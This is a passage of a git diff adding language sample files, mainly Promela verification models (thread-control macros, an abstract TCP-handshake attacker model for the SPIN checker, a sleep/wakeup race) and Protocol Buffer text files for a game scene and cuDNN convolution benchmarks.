+    ::  _pid == 0   ->
+            printf("Init is waiting for PAUSED mask on Thread %d...\n", i)
+    ::  _pid == 1   ->
+            printf("Supervisor is waiting for PAUSED mask on Thread %d...\n", i)
+    ::  _pid > 1    ->
+            printf("Worker %d is waiting for PAUSED mask on Thread %d...\n", _pid - 1, i)
+    fi
+    get_state(i) == PAUSED      ||
+    get_state(i) == STOPPING    ||
+    get_state(i) == STOPPED     ||
+    get_state(i) == ABORTING    ||
+    get_state(i) == ABORTED;
+    printf("Waiting ended.\n")
+}
+
+/** Models Control::Thread::wait_for_state_mask(Data::State::RESUME_MASK). */
+inline wait_for_RESUME_mask(i)
+{
+    if
+    ::  _pid == 0   ->
+            printf("Init is waiting for RESUME mask on Thread %d...\n", i)
+    ::  _pid == 1   ->
+            printf("Supervisor is waiting for RESUME mask on Thread %d...\n", i)
+    ::  _pid > 1    ->
+            printf("Worker %d is waiting for RESUME mask on Thread %d...\n", _pid - 1, i)
+    fi
+    get_state(i) == RUNNING     ||
+    get_state(i) == STOPPING    ||
+    get_state(i) == STOPPED     ||
+    get_state(i) == ABORTING    ||
+    get_state(i) == ABORTED;
+    printf("Waiting ended.\n")
+}
+
+/** Models Control::Thread::wait_for_state_mask(Data::State::HALT_MASK). */
+inline wait_for_HALT_mask(i)
+{
+    if
+    ::  _pid == 0   ->
+            printf("Init is waiting for HALT mask on Thread %d...\n", i)
+    ::  _pid == 1   ->
+            printf("Supervisor is waiting for HALT mask on Thread %d...\n", i)
+    ::  _pid > 1    ->
+            printf("Worker %d is waiting for HALT mask on Thread %d...\n", _pid - 1, i)
+    fi
+    get_state(i) == STOPPED     ||
+    get_state(i) == ABORTED;
+    printf("Waiting ended.\n")
+}
+
+/** Models Control::Thread::wait_for_state_mask(Data::State::ABORT_MASK). */
+inline wait_for_ABORT_mask(i)
+{
+    if
+    ::  _pid == 0   ->
+            printf("Init is waiting for ABORTED mask on Thread %d...\n", i)
+    ::  _pid == 1   ->
+            printf("Supervisor is waiting for ABORTED mask on Thread %d...\n", i)
+    ::  _pid > 1    ->
+            printf("Worker %d is waiting for ABORTED mask on Thread %d...\n", _pid - 1, i)
+    fi
+    get_state(i) == ABORTED;
+    printf("Waiting ended.\n")
+}
+
+/**
+ * Starts the Thread number i. If wait is true, then this macro blocks until
+ * the Thread has entered a state greater than or equal to RUNNING.
+ */
+inline start(i, wait)
+{
+    set_command(i, START);
+    run Thread(i);
+    if
+    ::  wait -> wait_for_START_mask(i)
+    ::  else -> skip
+    fi
+}
+
+/**
+ * Pauses the Thread number i. If wait is true, then this macro blocks until the
+ * Thread has entered a state greater than or equal to PAUSED.
+ */
+inline pause(i, wait)
+{
+    set_command(i, PAUSE);
+    if
+    ::  wait -> wait_for_PAUSE_mask(i)
+    ::  else -> skip
+    fi
+}
+
+/**
+ * Resumes the Thread number i. If wait is true, then this macro blocks until
+ * the Thread has entered a state greater than or equal to RUNNING.
+ */
+inline resume(i, wait)
+{
+    set_command(i, CONTINUE);
+    if
+    ::  wait -> wait_for_RESUME_mask(i)
+    ::  else -> skip
+    fi
+}
+
+/**
+ * Stops the Thread number i. If wait is true, then this macro blocks until
+ * the Thread has entered the state STOPPED or ABORTED.
+ */
+inline stop(i, wait)
+{
+    set_command(i, STOP);
+    if
+    ::  wait -> wait_for_HALT_mask(i)
+    ::  else -> skip
+    fi
+}
diff --git a/samples/Promela/attacker_4_FINITE.pml b/samples/Promela/attacker_4_FINITE.pml
new file mode 100644
index 0000000000..47a308d608
--- /dev/null
+++ b/samples/Promela/attacker_4_FINITE.pml
@@ -0,0 +1,55 @@
+/* spin -t4 -s -r experiment1_4_True_daisy_check.pml */
+active proctype attacker() {
+	
+	NtoA ! ACK;
+	NtoB ! SYN;
+	BtoN ? SYN_ACK;
+	NtoB ! ACK;
+	BtoN ? FIN;
+	NtoB ! ACK;
+	NtoB ! FIN;
+	BtoN ? ACK;
+	NtoB ! SYN;
+	BtoN ? SYN_ACK;
+	NtoB ! ACK;
+// recovery to N
+// N begins here ... 
+
+	do
+	:: AtoN ? SYN -> 
+		if
+		:: NtoB ! SYN;
+		fi unless timeout;
+	:: BtoN ? SYN -> 
+		if
+		:: NtoA ! SYN;
+		fi unless timeout;
+	:: AtoN ? FIN -> 
+		if
+		:: NtoB ! FIN;
+		fi unless timeout;
+	:: BtoN ? FIN -> 
+		if
+		:: NtoA ! FIN;
+		fi unless timeout;
+	:: AtoN ? ACK -> 
+		if
+		:: NtoB ! ACK;
+		fi unless timeout;
+	:: BtoN ? ACK -> 
+		if
+		:: NtoA ! ACK;
+		fi unless timeout;
+	:: AtoN ? SYN_ACK -> 
+		if
+		:: NtoB ! SYN_ACK;
+		fi unless timeout;
+	:: BtoN ? SYN_ACK -> 
+		if
+		:: NtoA ! SYN_ACK;
+		fi unless timeout;
+	:: _nr_pr < 3 -> break;
+	od
+end:
+
+}
\ No newline at end of file
diff --git a/samples/Promela/bare_signals.pml b/samples/Promela/bare_signals.pml
new file mode 100644
index 0000000000..bffa7fcf7e
--- /dev/null
+++ b/samples/Promela/bare_signals.pml
@@ -0,0 +1,40 @@
+inline bare_signals_0_transition(id)
+{
+  int transition_id;
+  transition_id = id;
+  do
+  ::(transition_id == -1)->
+    break;
+  ::(transition_id == 0)->
+    bare_signals_0_state = bare_signals_0_state_1;
+    transition_id = -1;
+  ::(transition_id == 1)->
+    bare_signals_0_state = bare_signals_0_state_2;
+    transition_id = -1;
+  ::(transition_id == 2)->
+    bare_signals_0_state = bare_signals_0_state_1;
+    transition_id = -1;
+  od;
+}
+inline bare_signals_0_init()
+{
+  bare_signals_0_transition(0);
+}
+inline bare_signals_0_PI_0_signal_1()
+{
+  if
+  ::(bare_signals_0_state == bare_signals_0_state_1)->
+    bare_signals_0_transition(1);
+  ::else->
+    break;
+  fi;
+}
+inline bare_signals_0_PI_0_signal_2()
+{
+  if
+  ::(bare_signals_0_state == bare_signals_0_state_2)->
+    bare_signals_0_transition(2);
+  ::else->
+    break;
+  fi;
+}
diff --git a/samples/Promela/ex.1.pml b/samples/Promela/ex.1.pml
new file mode 100644
index 0000000000..057ac71694
--- /dev/null
+++ b/samples/Promela/ex.1.pml
@@ -0,0 +1,49 @@
+mtype = { Wakeme, Running }
+
+bit	lk, sleep_q
+bit	r_lock, r_want
+mtype State = Running
+
+active proctype client() {
+    sleep:					            // sleep routine
+        atomic { (lk == 0) -> lk = 1 }	// spinlock(&lk)
+        do				                // while r->lock
+            :: (r_lock == 1) ->		    // r->lock == 1
+                r_want = 1
+                State = Wakeme
+                lk = 0			        // freelock(&lk)
+                (State == Running)	    // wait for wakeup
+            :: else ->			        // r->lock == 0
+                break
+        od;
+    progress:
+        assert(r_lock == 0)		// should still be true
+        r_lock = 1			    // consumed resource
+        lk = 0				    // freelock(&lk)
+        goto sleep
+}
+
+active proctype server() {		// interrupt routine
+  wakeup:					    // wakeup routine
+      r_lock = 0			    // r->lock = 0
+      (lk == 0)			        // waitlock(&lk)
+      if
+        :: r_want ->			// someone is sleeping
+            atomic {		    // spinlock on sleep queue
+                (sleep_q == 0) -> sleep_q = 1
+            }
+            r_want = 0
+
+            #ifdef PROPOSED_FIX
+                (lk == 0)	    // waitlock(&lk)
+            #endif
+            if
+            :: (State == Wakeme) ->
+                State = Running
+            :: else ->
+            fi;
+            sleep_q = 0
+        :: else ->
+      fi
+      goto wakeup
+  }
diff --git a/samples/Protocol Buffer Text Format/ProjectSettings.pbt b/samples/Protocol Buffer Text Format/ProjectSettings.pbt
new file mode 100644
index 0000000000..f56dd9ad8f
--- /dev/null
+++ b/samples/Protocol Buffer Text Format/ProjectSettings.pbt	
@@ -0,0 +1,27 @@
+LeaderboardConfigs {
+  Config {
+    SortType {
+      Value: "mc:ecoresdkleaderboardsorting:higherisbetter"
+    }
+    FormatType {
+      Value: "mc:ecoresdkleaderboardformat:numeric"
+    }
+    Name: "Top Tea Drinkers"
+    Id: "ECC0A05BC3123B7E"
+    EntryLimit: 20
+  }
+}
+MainScene: "TeaShopWhiteboxing"
+StreamSources {
+  Entries {
+    StreamIdentifier: "test-stream"
+    SourceType {
+      Value: "mc:estreamsourcetype:none"
+    }
+  }
+  Entries {
+    SourceType {
+      Value: "mc:estreamsourcetype:none"
+    }
+  }
+}
diff --git a/samples/Protocol Buffer Text Format/Tree.pbt b/samples/Protocol Buffer Text Format/Tree.pbt
new file mode 100644
index 0000000000..e27b5553d6
--- /dev/null
+++ b/samples/Protocol Buffer Text Format/Tree.pbt	
@@ -0,0 +1,428 @@
+Name: "Root"
+RootId: 4781671109827199097
+Objects {
+  Id: 4781671109827199097
+  Name: "Root"
+  Transform {
+    Location {
+    }
+    Rotation {
+    }
+    Scale {
+      X: 1
+      Y: 1
+      Z: 1
+    }
+  }
+  ChildIds: 9086936746104183945
+  ChildIds: 4282620061341822978
+  ChildIds: 17890896660001401432
+  ChildIds: 2522544622353355839
+  ChildIds: 1167050887843434993
+  ChildIds: 17832993586013553019
+  ChildIds: 7798052427219841836
+  ChildIds: 14369113271519861109
+  ChildIds: 12201408107671595975
+  UnregisteredParameters {
+  }
+  Collidable_v2 {
+    Value: "mc:ecollisionsetting:forceon"
+  }
+  Visible_v2 {
+    Value: "mc:evisibilitysetting:forceon"
+  }
+  CameraCollidable {
+    Value: "mc:ecollisionsetting:inheritfromparent"
+  }
+  Folder {
+  }
+  NetworkRelevanceDistance {
+    Value: "mc:eproxyrelevance:critical"
+  }
+}
+Objects {
+  Id: 12201408107671595975
+  Name: "FoodEquipment"
+  Transform {
+    Scale {
+      X: 1
+      Y: 1
+      Z: 1
+    }
+  }
+  ParentId: 4781671109827199097
+  WantsNetworking: true
+  TemplateInstance {
+    ParameterOverrideMap {
+      key: 12663900107958840964
+      value {
+        Overrides {
+          Name: "cs:IKBone"
+          String: "root"
+        }
+      }
+    }
+    ParameterOverrideMap {
+      key: 12792248877237016915
+      value {
+        Overrides {
+          Name: "Name"
+          String: "FoodEquipment"
+        }
+        Overrides {
+          Name: "Position"
+          Vector {
+            X: 75
+            Y: -225
+          }
+        }
+      }
+    }
+    TemplateAsset {
+      Id: 1555474896595674657
+    }
+  }
+  NetworkRelevanceDistance {
+    Value: "mc:eproxyrelevance:critical"
+  }
+}
+Objects {
+  Id: 14369113271519861109
+  Name: "Cafe Chair"
+  Transform {
+    Location {
+      X: -300
+      Y: 253.522278
+    }
+    Rotation {
+      Yaw: -90
+    }
+    Scale {
+      X: 1
+      Y: 1
+      Z: 1
+    }
+  }
+  ParentId: 4781671109827199097
+  Collidable_v2 {
+    Value: "mc:ecollisionsetting:inheritfromparent"
+  }
+  Visible_v2 {
+    Value: "mc:evisibilitysetting:inheritfromparent"
+  }
+  CameraCollidable {
+    Value: "mc:ecollisionsetting:inheritfromparent"
+  }
+  EditorIndicatorVisibility {
+    Value: "mc:eindicatorvisibility:visiblewhenselected"
+  }
+  CoreMesh {
+    MeshAsset {
+      Id: 12804754841656115153
+    }
+    Teams {
+      IsTeamCollisionEnabled: true
+      IsEnemyCollisionEnabled: true
+    }
+    StaticMesh {
+      Physics {
+        Mass: 100
+        LinearDamping: 0.01
+      }
+      BoundsScale: 1
+    }
+  }
+  NetworkRelevanceDistance {
+    Value: "mc:eproxyrelevance:critical"
+  }
+}
+Objects {
+  Id: 7798052427219841836
+  Name: "README - Social Kit"
+  Transform {
+    Location {
+    }
+    Rotation {
+    }
+    Scale {
+      X: 1
+      Y: 1
+      Z: 1
+    }
+  }
+  ParentId: 4781671109827199097
+  Collidable_v2 {
+    Value: "mc:ecollisionsetting:inheritfromparent"
+  }
+  Visible_v2 {
+    Value: "mc:evisibilitysetting:inheritfromparent"
+  }
+  CameraCollidable {
+    Value: "mc:ecollisionsetting:inheritfromparent"
+  }
+  EditorIndicatorVisibility {
+    Value: "mc:eindicatorvisibility:visiblewhenselected"
+  }
+  Script {
+    ScriptAsset {
+      Id: 5814858635094213307
+    }
+  }
+  NetworkRelevanceDistance {
+    Value: "mc:eproxyrelevance:critical"
+  }
+}
+Objects {
+  Id: 17832993586013553019
+  Name: "Interactive Objects"
+  Transform {
+    Location {
+    }
+    Rotation {
+    }
+    Scale {
+      X: 1
+      Y: 1
+      Z: 1
+    }
+  }
+  ParentId: 4781671109827199097
+  Collidable_v2 {
+    Value: "mc:ecollisionsetting:inheritfromparent"
+  }
+  Visible_v2 {
+    Value: "mc:evisibilitysetting:inheritfromparent"
+  }
+  CameraCollidable {
+    Value: "mc:ecollisionsetting:inheritfromparent"
+  }
+  EditorIndicatorVisibility {
+    Value: "mc:eindicatorvisibility:visiblewhenselected"
+  }
+  Folder {
+    IsFilePartition: true
+    FilePartitionName: "Interactive Objects"
+  }
+  NetworkRelevanceDistance {
+    Value: "mc:eproxyrelevance:critical"
+  }
+}
+Objects {
+  Id: 1167050887843434993
+  Name: "Chair Logic"
+  Transform {
+    Location {
+      X: 15114.6504
+      Y: -7312.38574
+      Z: 6014.85645
+    }
+    Rotation {
+      Pitch: -15.3098755
+      Yaw: -158.943527
+    }
+    Scale {
+      X: 1
+      Y: 1
+      Z: 1
+    }
+  }
+  ParentId: 4781671109827199097
+  Collidable_v2 {
+    Value: "mc:ecollisionsetting:inheritfromparent"
+  }
+  Visible_v2 {
+    Value: "mc:evisibilitysetting:inheritfromparent"
+  }
+  TemplateInstance {
+    ParameterOverrideMap {
+      key: 14418205449374406163
+      value {
+        Overrides {
+          Name: "Name"
+          String: "Chair Logic"
+        }
+        Overrides {
+          Name: "Position"
+          Vector {
+            X: -270.6
+            Y: -314.537292
+            Z: 15.6856441
+          }
+        }
+        Overrides {
+          Name: "Rotation"
+          Rotator {
+            Pitch: 33.6270943
+            Yaw: 0.73199296
+            Roll: 0.92644459
+          }
+        }
+        Overrides {
+          Name: "Scale"
+          Vector {
+            X: 1
+            Y: 1
+            Z: 1
+          }
+        }
+      }
+    }
+    ParameterOverrideMap {
+      key: 16009078327658919335
+      value {
+        Overrides {
+          Name: "Interactable"
+          Bool: false
+        }
+      }
+    }
+    TemplateAsset {
+      Id: 3599235406971010506
+    }
+  }
+  NetworkRelevanceDistance {
+    Value: "mc:eproxyrelevance:critical"
+  }
+}
+Objects {
+  Id: 2522544622353355839
+  Name: "Interactive Systems"
+  Transform {
+    Location {
+    }
+    Rotation {
+    }
+    Scale {
+      X: 1
+      Y: 1
+      Z: 1
+    }
+  }
+  ParentId: 4781671109827199097
+  Collidable_v2 {
+    Value: "mc:ecollisionsetting:inheritfromparent"
+  }
+  Visible_v2 {
+    Value: "mc:evisibilitysetting:inheritfromparent"
+  }
+  CameraCollidable {
+    Value: "mc:ecollisionsetting:inheritfromparent"
+  }
+  EditorIndicatorVisibility {
+    Value: "mc:eindicatorvisibility:visiblewhenselected"
+  }
+  Folder {
+    IsFilePartition: true
+    FilePartitionName: "Interactive Systems"
+  }
+  NetworkRelevanceDistance {
+    Value: "mc:eproxyrelevance:critical"
+  }
+}
+Objects {
+  Id: 17890896660001401432
+  Name: "Definitions"
+  Transform {
+    Location {
+    }
+    Rotation {
+    }
+    Scale {
+      X: 1
+      Y: 1
+      Z: 1
+    }
+  }
+  ParentId: 4781671109827199097
+  Collidable_v2 {
+    Value: "mc:ecollisionsetting:inheritfromparent"
+  }
+  Visible_v2 {
+    Value: "mc:evisibilitysetting:inheritfromparent"
+  }
+  CameraCollidable {
+    Value: "mc:ecollisionsetting:inheritfromparent"
+  }
+  EditorIndicatorVisibility {
+    Value: "mc:eindicatorvisibility:visiblewhenselected"
+  }
+  Folder {
+    IsFilePartition: true
+    FilePartitionName: "Definitions"
+  }
+  NetworkRelevanceDistance {
+    Value: "mc:eproxyrelevance:critical"
+  }
+}
+Objects {
+  Id: 4282620061341822978
+  Name: "Environment"
+  Transform {
+    Location {
+    }
+    Rotation {
+    }
+    Scale {
+      X: 1
+      Y: 1
+      Z: 1
+    }
+  }
+  ParentId: 4781671109827199097
+  Collidable_v2 {
+    Value: "mc:ecollisionsetting:inheritfromparent"
+  }
+  Visible_v2 {
+    Value: "mc:evisibilitysetting:inheritfromparent"
+  }
+  CameraCollidable {
+    Value: "mc:ecollisionsetting:inheritfromparent"
+  }
+  EditorIndicatorVisibility {
+    Value: "mc:eindicatorvisibility:visiblewhenselected"
+  }
+  Folder {
+    IsFilePartition: true
+    FilePartitionName: "Environment"
+  }
+  NetworkRelevanceDistance {
+    Value: "mc:eproxyrelevance:critical"
+  }
+}
+Objects {
+  Id: 9086936746104183945
+  Name: "Gameplay Settings"
+  Transform {
+    Location {
+    }
+    Rotation {
+    }
+    Scale {
+      X: 1
+      Y: 1
+      Z: 1
+    }
+  }
+  ParentId: 4781671109827199097
+  UnregisteredParameters {
+  }
+  Collidable_v2 {
+    Value: "mc:ecollisionsetting:inheritfromparent"
+  }
+  Visible_v2 {
+    Value: "mc:evisibilitysetting:inheritfromparent"
+  }
+  CameraCollidable {
+    Value: "mc:ecollisionsetting:inheritfromparent"
+  }
+  EditorIndicatorVisibility {
+    Value: "mc:eindicatorvisibility:visiblewhenselected"
+  }
+  Folder {
+    IsFilePartition: true
+    FilePartitionName: "Gameplay Settings"
+  }
+  NetworkRelevanceDistance {
+    Value: "mc:eproxyrelevance:critical"
+  }
+}
diff --git a/samples/Protocol Buffer Text Format/cudnn_benchmarks.textproto b/samples/Protocol Buffer Text Format/cudnn_benchmarks.textproto
new file mode 100644
index 0000000000..493facafeb
--- /dev/null
+++ b/samples/Protocol Buffer Text Format/cudnn_benchmarks.textproto	
@@ -0,0 +1,484 @@
+# This file contains custom benchmark configs, in addition to the ones generated
+# in the source code.
+
+# CUDA 9.x + Volta performance regressions in cuDNN from 7.1.4 to 7.3.0, but then fixed in 7.3.1.
+convolution_benchmark {
+  label: "NHWC_128x20x20x56x160"
+  input {
+    dimension: [128, 56, 20, 20]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  filter {
+    dimension: [160, 56, 5, 5]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  output {
+    dimension: [128, 160, 16, 16]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  convolution {
+    pad: [0, 0]
+    compute_mode: DATA_FLOAT
+    math_type: TENSOR_OP_MATH
+    mode: CROSS_CORRELATION
+  }
+  fwd_algo: CONVOLUTION_FWD_ALGO_IMPLICIT_PRECOMP_GEMM
+}
+
+# CUDA 9.x + Volta performance regressions in cuDNN from 7.1.4 to 7.3.0, but then fixed in 7.3.1.
+convolution_benchmark {
+  label: "NHWC_512x27x27x64x192"
+  input {
+    dimension: [512, 64, 27, 27]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  filter {
+    dimension: [192, 64, 5, 5]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  output {
+    dimension: [512, 192, 27, 27]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  convolution {
+    pad: [2, 2]
+    compute_mode: DATA_FLOAT
+    math_type: TENSOR_OP_MATH
+    mode: CROSS_CORRELATION
+  }
+  bwd_data_algo: CONVOLUTION_BWD_DATA_ALGO_1
+}
+
+# CUDA 9.x + Volta performance regressions in cuDNN 7.3.0 -> 7.3.1.
+# See nvbugs/2414937.
+convolution_benchmark {
+  label: "NHWC_128x32x32x128x256"
+  input {
+    dimension: [128, 128, 32, 32]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  filter {
+    dimension: [256, 128, 5, 1]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  output {
+    dimension: [128, 256, 32, 32]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  convolution {
+    pad: [2, 0]
+    compute_mode: DATA_FLOAT
+    math_type: TENSOR_OP_MATH
+    mode: CROSS_CORRELATION
+  }
+  bwd_filter_algo: CONVOLUTION_BWD_FILTER_ALGO_1
+}
+
+convolution_benchmark {
+  label: "NHWC_128x32x32x128x1024"
+  input {
+    dimension: [128, 128, 32, 32]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  filter {
+    dimension: [1024, 128, 1, 1]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  output {
+    dimension: [128, 1024, 32, 32]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  convolution {
+    pad: [0, 0]
+    compute_mode: DATA_FLOAT
+    math_type: TENSOR_OP_MATH
+    mode: CROSS_CORRELATION
+  }
+  bwd_filter_algo: CONVOLUTION_BWD_FILTER_ALGO_0
+}
+
+convolution_benchmark {
+  label: "NHWC_128x32x32x1024x1024"
+  input {
+    dimension: [128, 1024, 32, 32]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  filter {
+    dimension: [1024, 1024, 1, 1]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  output {
+    dimension: [128, 1024, 32, 32]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  convolution {
+    pad: [0, 0]
+    compute_mode: DATA_FLOAT
+    math_type: TENSOR_OP_MATH
+    mode: CROSS_CORRELATION
+  }
+  bwd_filter_algo: CONVOLUTION_BWD_FILTER_ALGO_0
+}
+
+convolution_benchmark {
+  label: "NHWC_128x32x32x1024x768"
+  input {
+    dimension: [128, 1024, 32, 32]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  filter {
+    dimension: [768, 1024, 1, 1]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  output {
+    dimension: [128, 768, 32, 32]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  convolution {
+    pad: [0, 0]
+    compute_mode: DATA_FLOAT
+    math_type: TENSOR_OP_MATH
+    mode: CROSS_CORRELATION
+  }
+  bwd_filter_algo: CONVOLUTION_BWD_FILTER_ALGO_0
+}
+# end of 7.3.0 -> 7.3.1 regressions
+
+convolution_benchmark {
+  label: "NHWC_BWD_FILTER_128x20x20x88x160"
+  input {
+    dimension: [128, 88, 20, 20]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  filter {
+    dimension: [160, 88, 5, 5]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  output {
+    dimension: [128, 160, 16, 16]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  convolution {
+    pad: [0, 0]
+    compute_mode: DATA_FLOAT
+    math_type: TENSOR_OP_MATH
+    mode: CROSS_CORRELATION
+  }
+  bwd_filter_algo: CONVOLUTION_BWD_FILTER_ALGO_1
+}
+
+convolution_benchmark {
+  label: "NHWC_BWD_FILTER_128x20x20x56x160"
+  input {
+    dimension: [128, 56, 20, 20]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  filter {
+    dimension: [160, 56, 5, 5]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  output {
+    dimension: [128, 160, 16, 16]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  convolution {
+    pad: [0, 0]
+    compute_mode: DATA_FLOAT
+    math_type: TENSOR_OP_MATH
+    mode: CROSS_CORRELATION
+  }
+  bwd_filter_algo: CONVOLUTION_BWD_FILTER_ALGO_1
+}
+
+convolution_benchmark {
+  label: "NHWC_BWD_FILTER_128x20x20x56x160"
+  input {
+    dimension: [128, 56, 20, 20]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  filter {
+    dimension: [160, 56, 5, 5]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  output {
+    dimension: [128, 160, 16, 16]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  convolution {
+    pad: [0, 0]
+    compute_mode: DATA_FLOAT
+    math_type: TENSOR_OP_MATH
+    mode: CROSS_CORRELATION
+  }
+  bwd_filter_algo: CONVOLUTION_BWD_FILTER_ALGO_1
+}
+
+# These (NCHW|NHWC)_BWD_DATA_128_[89]_32_32 tests show that NCHW is faster than NHWC on Volta, CUDA 9.0, cuDNN 7.4.x.
+convolution_benchmark {
+  label: "NCHW_BWD_DATA_128_9_32_32_160_ALGO_0"
+  input {
+    dimension: [128, 9, 32, 32]
+    data_type: DATA_HALF
+    format: TENSOR_NCHW
+  }
+  filter {
+    dimension: [160, 9, 2, 2]
+    data_type: DATA_HALF
+    format: TENSOR_NCHW
+  }
+  output {
+    dimension: [128, 160, 16, 16]
+    data_type: DATA_HALF
+    format: TENSOR_NCHW
+  }
+  convolution {
+    pad: [0, 0]
+    filter_stride: [2, 2]
+    compute_mode: DATA_FLOAT
+    math_type: TENSOR_OP_MATH
+    mode: CROSS_CORRELATION
+  }
+  bwd_data_algo: CONVOLUTION_BWD_DATA_ALGO_0
+}
+
+convolution_benchmark {
+  label: "NCHW_BWD_DATA_128_9_32_32_160_ALGO_1"
+  input {
+    dimension: [128, 9, 32, 32]
+    data_type: DATA_HALF
+    format: TENSOR_NCHW
+  }
+  filter {
+    dimension: [160, 9, 2, 2]
+    data_type: DATA_HALF
+    format: TENSOR_NCHW
+  }
+  output {
+    dimension: [128, 160, 16, 16]
+    data_type: DATA_HALF
+    format: TENSOR_NCHW
+  }
+  convolution {
+    pad: [0, 0]
+    filter_stride: [2, 2]
+    compute_mode: DATA_FLOAT
+    math_type: TENSOR_OP_MATH
+    mode: CROSS_CORRELATION
+  }
+  bwd_data_algo: CONVOLUTION_BWD_DATA_ALGO_1
+}
+
+convolution_benchmark {
+  label: "NCHW_BWD_DATA_128_8_32_32_160_ALGO_1"
+  input {
+    dimension: [128, 8, 32, 32]
+    data_type: DATA_HALF
+    format: TENSOR_NCHW
+  }
+  filter {
+    dimension: [160, 8, 2, 2]
+    data_type: DATA_HALF
+    format: TENSOR_NCHW
+  }
+  output {
+    dimension: [128, 160, 16, 16]
+    data_type: DATA_HALF
+    format: TENSOR_NCHW
+  }
+  convolution {
+    pad: [0, 0]
+    filter_stride: [2, 2]
+    compute_mode: DATA_FLOAT
+    math_type: TENSOR_OP_MATH
+    mode: CROSS_CORRELATION
+  }
+  bwd_data_algo: CONVOLUTION_BWD_DATA_ALGO_1
+}
+
+convolution_benchmark {
+  label: "NCHW_BWD_DATA_128_8_32_32_40_ALGO_0"
+  input {
+    dimension: [128, 8, 32, 32]
+    data_type: DATA_HALF
+    format: TENSOR_NCHW
+  }
+  filter {
+    dimension: [40, 8, 2, 2]
+    data_type: DATA_HALF
+    format: TENSOR_NCHW
+  }
+  output {
+    dimension: [128, 40, 16, 16]
+    data_type: DATA_HALF
+    format: TENSOR_NCHW
+  }
+  convolution {
+    pad: [0, 0]
+    filter_stride: [2, 2]
+    compute_mode: DATA_FLOAT
+    math_type: TENSOR_OP_MATH
+    mode: CROSS_CORRELATION
+  }
+  bwd_data_algo: CONVOLUTION_BWD_DATA_ALGO_0
+}
+
+convolution_benchmark {
+  label: "NCHW_BWD_DATA_128_8_32_32_40_ALGO_1"
+  input {
+    dimension: [128, 8, 32, 32]
+    data_type: DATA_HALF
+    format: TENSOR_NCHW
+  }
+  filter {
+    dimension: [40, 8, 2, 2]
+    data_type: DATA_HALF
+    format: TENSOR_NCHW
+  }
+  output {
+    dimension: [128, 40, 16, 16]
+    data_type: DATA_HALF
+    format: TENSOR_NCHW
+  }
+  convolution {
+    pad: [0, 0]
+    filter_stride: [2, 2]
+    compute_mode: DATA_FLOAT
+    math_type: TENSOR_OP_MATH
+    mode: CROSS_CORRELATION
+  }
+  bwd_data_algo: CONVOLUTION_BWD_DATA_ALGO_1
+}
+
+convolution_benchmark {
+  label: "NHWC_BWD_DATA_128_9_32_32_160_ALGO_1"
+  input {
+    dimension: [128, 9, 32, 32]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  filter {
+    dimension: [160, 9, 2, 2]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  output {
+    dimension: [128, 160, 16, 16]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  convolution {
+    pad: [0, 0]
+    filter_stride: [2, 2]
+    compute_mode: DATA_FLOAT
+    math_type: TENSOR_OP_MATH
+    mode: CROSS_CORRELATION
+  }
+  bwd_data_algo: CONVOLUTION_BWD_DATA_ALGO_1
+}
+
+convolution_benchmark {
+  label: "NHWC_BWD_DATA_128_8_32_32_160_ALGO_1"
+  input {
+    dimension: [128, 8, 32, 32]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  filter {
+    dimension: [160, 8, 2, 2]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  output {
+    dimension: [128, 160, 16, 16]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  convolution {
+    pad: [0, 0]
+    filter_stride: [2, 2]
+    compute_mode: DATA_FLOAT
+    math_type: TENSOR_OP_MATH
+    mode: CROSS_CORRELATION
+  }
+  bwd_data_algo: CONVOLUTION_BWD_DATA_ALGO_1
+}
+
+convolution_benchmark {
+  label: "NHWC_BWD_DATA_128_8_32_32_40_ALGO_1"
+  input {
+    dimension: [128, 8, 32, 32]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  filter {
+    dimension: [40, 8, 2, 2]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  output {
+    dimension: [128, 40, 16, 16]
+    data_type: DATA_HALF
+    format: TENSOR_NHWC
+  }
+  convolution {
+    pad: [0, 0]
+    filter_stride: [2, 2]
+    compute_mode: DATA_FLOAT
+    math_type: TENSOR_OP_MATH
+    mode: CROSS_CORRELATION
+  }
+  bwd_data_algo: CONVOLUTION_BWD_DATA_ALGO_1
+}
+
+convolution_benchmark {
+  label: "NCHW_BWD_FILTER_LARGE_PADDING_SLOW"
+  input {
+    dimension: [512, 3072, 3, 3]
+    data_type: DATA_FLOAT
+    format: TENSOR_NCHW
+  }
+  filter {
